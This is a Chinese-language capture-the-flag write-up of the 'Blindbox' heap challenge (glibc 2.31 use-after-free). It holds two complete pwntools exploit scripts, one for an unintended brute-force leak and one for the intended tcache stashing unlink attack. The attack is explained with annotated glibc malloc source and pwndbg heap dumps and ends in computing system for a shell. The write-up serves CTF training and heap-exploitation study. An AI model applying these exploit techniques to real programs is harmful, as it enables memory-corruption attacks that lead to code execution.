0x00 背景
MTCTF初赛碰到的题,复现了一下感觉预期解的构造还是挺妙的,出题人应该也是花了心思出的,可惜比赛的时候似乎被非预期了蛮多的。
0x01
0x02 题目总览
glibc2.31,uaf,程序只能存三个堆地址,三个固定的大小,可申请chunk大小限制在0x90~0x233
允许多次使用calloc
和一次malloc(0x90)
可编辑chunk,每次可以编辑0x10字节
输出堆块内容只能打印8字节,同时不允许0x7f
出现
目标就是拿到system
地址,每个字节和伪随机数异或,输入对应的值即可getshell
0x03非预期
所以只需要爆破一下,把chunk放进smallbin泄露地址即可
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# r = remote("123.56.122.14",41224)
libc = ELF('libc-2.31.so')
def debug(s=None):
if (s == None):
gdb.attach(r)
else:
gdb.attach(r, s)
pause()
def choose(choice, idx):
r.recvuntil('>> ')
r.sendline('1')
r.recvuntil('Which lucky number do you want to choose')
r.sendline(str(choice))
r.recvuntil('Give index for this Blindbox(1-3):')
r.sendline(str(idx))
def drop(idx):
r.recvuntil('>> ')
r.sendline('2')
r.recvuntil('Which index do you want to drop?')
r.sendline(str(idx))
def open(idx):
r.recvuntil('>> ')
r.sendline('3')
r.recvuntil('Which Blindbox do you want to open?')
r.sendline(str(idx))
def change(idx, ct):
r.recvuntil('>> ')
r.sendline('4')
r.recvuntil('Which Blindbox do you want to change?')
r.sendline(str(idx))
r.recvuntil('New content:')
r.send(ct)
def mawish(ct):
r.recvuntil('>> ')
r.sendline('5')
r.recvuntil('your wish: ')
r.send(ct)
def pay():
r.recvuntil('>> ')
r.sendline('6')
def PWN():
r.recvuntil('Please tell me your name:')
r.sendline('ayoung')
r.recvuntil('Please select three lucky numbers from 0x88 ot 0x233')
r.sendline('136')
r.recvuntil('The second lucky number?')
r.sendline('208')
r.recvuntil('The third lucky number?')
r.sendline('376')
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)
drop(2)
drop(3)
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)
drop(2)
drop(3)
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)
drop(2)
drop(3)
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)
# drop(3)
open(1)
r.recvuntil('\n')
s = r.recv()
if b'secret,' in s:
exit()
else:
pass
print("1111111111111111")
# gdb.attach(r)
libc.address = u64(s[26:26+8])-96-0x10-libc.sym['__malloc_hook']
print (hex(libc.address))
sys = libc.sym['system']
print (hex(sys))
num = [1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492]
r.recv()
r.sendline('6')
for i in range (8):
r.recv()
r.sendline(str(sys^num[i]).encode())
if __name__ == '__main__':
while True:
r = process('./Blindbox')
try:
PWN()
except:
r.close()
continue
else:
r.interactive()
break
0x04预期解
预期解是用tcache stashing unlink attack,感觉还是有点小复杂的
tcache stashing unlink attack涉及源码
/malloc/malloc.c
的_int_malloc
添加了部分注释
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)//取该索引对应的smallbin中最后一个chunk
{
bck = victim->bk;//获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim))//检查双向链表局部完整性
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;//victim从small bin链表卸下,即拿出smallbin最后一个chunk
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);//获取对应size的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)//如果该索引在tcache bin的范围
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count//当tcache bin不为空且没满,且small bin不为空,则依次取smallbin中最后一个chunk插入tcache bin
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;//将当前chunk从small bin里卸下
bck->fd = bin;//fd写入tcache地址,链入tcache
tcache_put (tc_victim, tc_idx);//放入tcache
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
tcache stashing unlink attack原理
执行calloc
时,首先进入_int_malloc
中
发现size在smallbin范围,进入,获取0xa0大小对应的idx,拿到main_area上对应bin的地址,bin->fd
指向对应大小smallbin双向链表头部,bin->bk
指向smallbin双向链表尾部。接着(victim = last (bin)) != bin
取出bin->bk且发现不指向bin自己,说明该smallbin双向链表不为空,赋值bckbck = victim->bk
接着有一步检查双向链表局部完整性的操作,victim即smallbin尾部的chunk,判断victim的bck的fd是否指回victim
f (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
通过检查后就拿出victim这个chunk,也就是从smallbin尾部取chunk
相应地更新相邻下一个chunk的inuse位和bin(双向链表头节点)的fd和bk
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
如果这个时候smallbin中还有空闲的chunk且对应大小tcache不满时,不断smallbin的尾部取出chunk插入tcache中,即stash
正是由于在stash的过程中没有对smallbin链表进行任何检查,且在之前取出chunk时也只检查了最后一个chunk和倒数第二个chunk构成的部分双向链表是否完整,因此可以通过修改smallbin中chunk的bk加以利用,可以完成两件事
- 向tcache放一个fake chunk
- 任意地址写一个main_area
上的地址
本题
本题涉及上述过程两次
程序在固定地址0x66666000
开辟了一片空间
首先布局一下堆,通过切割chunk的方式切出0xa0大小的chunk,放进smallbin,重复三次往smallbin中放入三个0xa0大小chunk,相应的0xa0大小的tcache放四个
pwndbg> bin
tcachebins
0xa0 [ 4]: 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0
0xb0 [ 7]: 0x555555559a80 —▸ 0x5555555599d0 —▸ 0x555555559920 —▸ 0x555555559870 —▸ 0x5555555597c0 —▸ 0x555555559710 —▸ 0x555555559660 ◂— 0x0
0x150 [ 7]: 0x55555555a470 —▸ 0x55555555a320 —▸ 0x55555555a1d0 —▸ 0x55555555a080 —▸ 0x555555559f30 —▸ 0x555555559de0 —▸ 0x555555559c90 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x55555555afc0 —▸ 0x55555555ad10 —▸ 0x55555555a900 —▸ 0x7ffff7fa6c70 (main_arena+240) ◂— 0x55555555afc0
largebins
empty
然后修改最新插入的smallbin的bk指向地址0x66666000-0x10
配合程序开头允许向0x66666000
输入的0x20字节布置一下bk,使得在calloc
之后smallbin的尾部剩下一个fake chunk0x66665ff8
tcachebins
0xa0 [ 4]: 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0
......
smallbins
0xa0 [corrupted]
FD: 0x55555555afc0 ◂— 0x0
BK: 0x55555555a900 —▸ 0x55555555ad10 —▸ 0x55555555afc0 —▸ 0x66665ff0 —▸ 0x66665ff8 ◂— ...
calloc(0x90)
取出尾部chunk0x55555555a900
,然后按顺序把0x55555555ad10
,0x55555555afc0
,0x66665ff0
插入tcache中
tcachebins
0xa0 [ 7]: 0x66666000 —▸ 0x55555555afd0 —▸ 0x55555555ad20 —▸ 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0
...
smallbins
0xa0 [corrupted]
FD: 0x55555555afc0 —▸ 0x55555555ad20 ◂— 0x0
BK: 0x66665ff8 ◂— 0x0
接着利用一次malloc(0x90)
拿到0x66666000
处的chunk并布置数据
如下,为什么这么布置请往下看
pwndbg> x/10gx 0x66666000
0x66666000: 0x00000000000000af 0x0000000000000000
0x66666010: 0x0000000066666008 0x0000000066665ff8
0x66666020: 0x0000000066665ffb 0x0000000000000000
此时的smallbin和tcache结构
tcachebins
0xa0 [ 6]: 0x55555555afd0 —▸ 0x55555555ad20 —▸ 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0
...
smallbins
0xa0 [corrupted]
FD: 0x55555555afc0 —▸ 0x55555555ad20 ◂— 0x0
BK: 0x66665ff8 —▸ 0x66666008 —▸ 0x66665ffb ◂— 0x665ff80000000066 /* 'f' */
再次calloc(0x90)
首先取出smallbin最后一个chunk0x66665ff8
,检查局部双向链表完整性,由于刚才布置好的数据,满足0x66665ff8->bk->fd
指回0x66665ff8
,通过检查
pwndbg> x/gx 0x66665ff8+0x18
0x66666010: 0x0000000066666008
pwndbg> x/gx 0x0000000066666008+0x10
0x66666018: 0x0000000066665ff8
在取出chunk0x66665ff8
后发现tcache中只有6个chunk,于是将smallbin尾部的chunk0x66666008
插入tcache
插入前更新smallbin双向链表的头节点,执行
bin->bk = bck;
bck->fd = bin;
这里的bin即main_area
上的地址,bck即0x66665ffb
于是0x66665ffb+0x10
写入一个main_area
上的地址(就是0xa0大小smallbin的头节点地址)
pwndbg> x/gx 0x66665ffb+0x10
0x6666600b: 0x00007ffff7fa6c70
现在就要提到之前布置的size位0xaf
了
我们知道calloc
在取出chunk后会将chunk内容清空,而要拿到的libc地址在里面,所以得想办法不让calloc
清空地址
/malloc/malloc.c
中3452行
/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);
return mem;
}
# define __builtin_expect(expr, val) (expr)
即可以看到当chunk被检测到mmap位为1时,且perturb_byte
字符为0时,将不清空chunk直接返回
所以这里的size需要满足mmap位为1,事实上也只需要满足该条件,只放个0x2都行。
这里的
perturb_byte
好像是用作调试的,通常为0
__builtin_expect
的使用允许程序员将最有可能执行的分支告诉编译器,例如上述代码中的使用意指perturb_byte==0
概率很大,编译器会将可能性更大的代码紧跟着前面的代码,从而减少指令跳转带来的性能上的下降
最后由于拿到的指针是0x66666008
,内容为
pwndbg> x/gx 0x66666008
0x66666008: 0xfff7fa6c70000000
不含0x7f
,最后拿到libc后五个字节补上0x7f
即可计算出system
地址
exp
#! /usr/bin/env pytho
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# r = remote("123.56.122.14",41224)
libc = ELF('libc-2.31.so')
def debug(s=None):
if (s == None):
gdb.attach(r)
else:
gdb.attach(r, s)
pause()
def choose(choice, idx):
r.recvuntil('>> ')
r.sendline('1')
r.recvuntil('Which lucky number do you want to choose')
r.sendline(str(choice))
r.recvuntil('Give index for this Blindbox(1-3):')
r.sendline(str(idx))
def drop(idx):
r.recvuntil('>> ')
r.sendline('2')
r.recvuntil('Which index do you want to drop?')
r.sendline(str(idx))
def open(idx):
r.recvuntil('>> ')
r.sendline('3')
r.recvuntil('Which Blindbox do you want to open?')
r.sendline(str(idx))
def change(idx, ct):
r.recvuntil('>> ')
r.sendline('4')
r.recvuntil('Which Blindbox do you want to change?')
r.sendline(str(idx))
r.recvuntil('New content:')
r.send(ct)
def mawish(ct):
r.recvuntil('>> ')
r.sendline('5')
r.recvuntil('your wish: ')
r.send(ct)
r = process('./Blindbox')
r.recvuntil('Please tell me your name:')
r.sendline(p64(0)+p64(0x66666000-8)+p64(0)*2)
r.recvuntil('The first lucky number?')
r.sendline(str(0x90))
r.recvuntil('The second lucky number?')
r.sendline(str(0xa0))
r.recvuntil('The third lucky number?')
r.sendline(str(0x140))
#base 0x555555554000
#--------------0x90
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)
drop(2)
drop(3)
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)
#---------------0xa0
choose(2,1)
choose(2,2)
choose(2,3)
drop(1)
drop(2)
drop(3)
choose(2,1)
choose(2,2)
choose(2,3)
drop(1)
drop(2)
drop(3)
choose(2,1)
choose(2,2)
choose(2,3)
drop(1)
#--------------0x140
choose(3,1)
choose(3,2)
choose(3,3)
drop(1)
drop(2)
drop(3)
choose(3,1)
choose(3,2)
choose(3,3)
drop(1)
drop(2)
drop(3)
choose(3,1)
choose(3,2)
choose(3,3)
drop(1)
#-----------------
choose(2,1)
choose(2,2)#***
drop(2)
drop(1)
choose(3,1)
choose(2,3)
drop(1)
choose(2,3)
choose(2,3)
#-----------------
choose(2,1)
choose(2,2)#***
choose(3,1)
choose(2,3)
drop(1)
choose(2,3)
choose(2,3)
#----------------
choose(2,1)
choose(2,2)#***
drop(1)
drop(2)
choose(3,1)
choose(2,3)
drop(1)
choose(2,3)
choose(2,3)
change(2, p64(0)+p64(0x66666000-0x10))
choose(1,1)
payload = p64(0x2) + p64(0) + p64(0x66666008)
payload += p64(0x66666008 - 0x10) + p64(0x66666008 - 0x10 + 3) + p64(0)
payload = payload.ljust(0x60, b'\x00')
mawish(payload)
choose(1,1)
open(1)
r.recvuntil('Blindbox: \x00\x00\x00')
libc.address = u64(r.recv(5)+b'\x7f\x00\x00')-240-0x10-libc.sym['__malloc_hook']
print (hex(libc.address))
sys = libc.sym['system']
print (hex(sys))
num = [1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492]
r.recv()
r.sendline('6')
for i in range (8):
r.recv()
r.sendline(str(sys^num[i]).encode())
r.interactive()
总结
最后总结一下本题的预期解思路
- 先布局堆,tcache放上相应数量的chunk,并利用unsorted bin切割在不填满tcache的情况下造出三块不相邻的smallbin,且利用unsorted bin和top chunk合并在smallbin中留指针改bk。
- 第一次使用tcache stashing unlink将目标地址chunk放进tcache,并配合程序开始布置的bk,在smallbin中留一个fake chunk
- 使用malloc
申请到目标地址处的chunk,并布置四部分数据:fake size满足mmap位为1不让calloc
清空chunk,fake chunk->bk->fd==fake chunk
通过双向链表局部检查,让fake chunk->bk->bk->fd
处写入libc地址后五个字节
- 第二次使用tcache stashing unlink在拿到fake chunk的同时在其前八个字节处写入libc地址前5字节,完成泄露